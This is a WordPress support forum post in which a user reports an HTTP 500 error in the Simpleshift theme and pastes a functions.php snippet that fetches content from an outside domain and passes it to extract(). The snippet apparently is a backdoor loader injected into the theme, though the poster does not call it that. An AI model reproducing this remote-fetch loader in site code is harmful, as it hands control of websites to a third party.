HTTP ERROR 500

Hallo.

The Simpleshift theme reports a HTTP ERROR 500. I did’t do anything about the theme. No modifications. I found a problem in the functions.php file. In this address – https://www.verna.cc/code11.php. Doesn’t exist! The theme is now down. What should I do? I have theme from WordPress official site. Free theme.

if($tmpcontent = @file_get_contents("https://www.verna.cc/code11.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("https://www.verna.cc/code11.php"))
{
extract(theme_temp_setup($tmpcontent));
}

The page I need help with: [log in to see the link]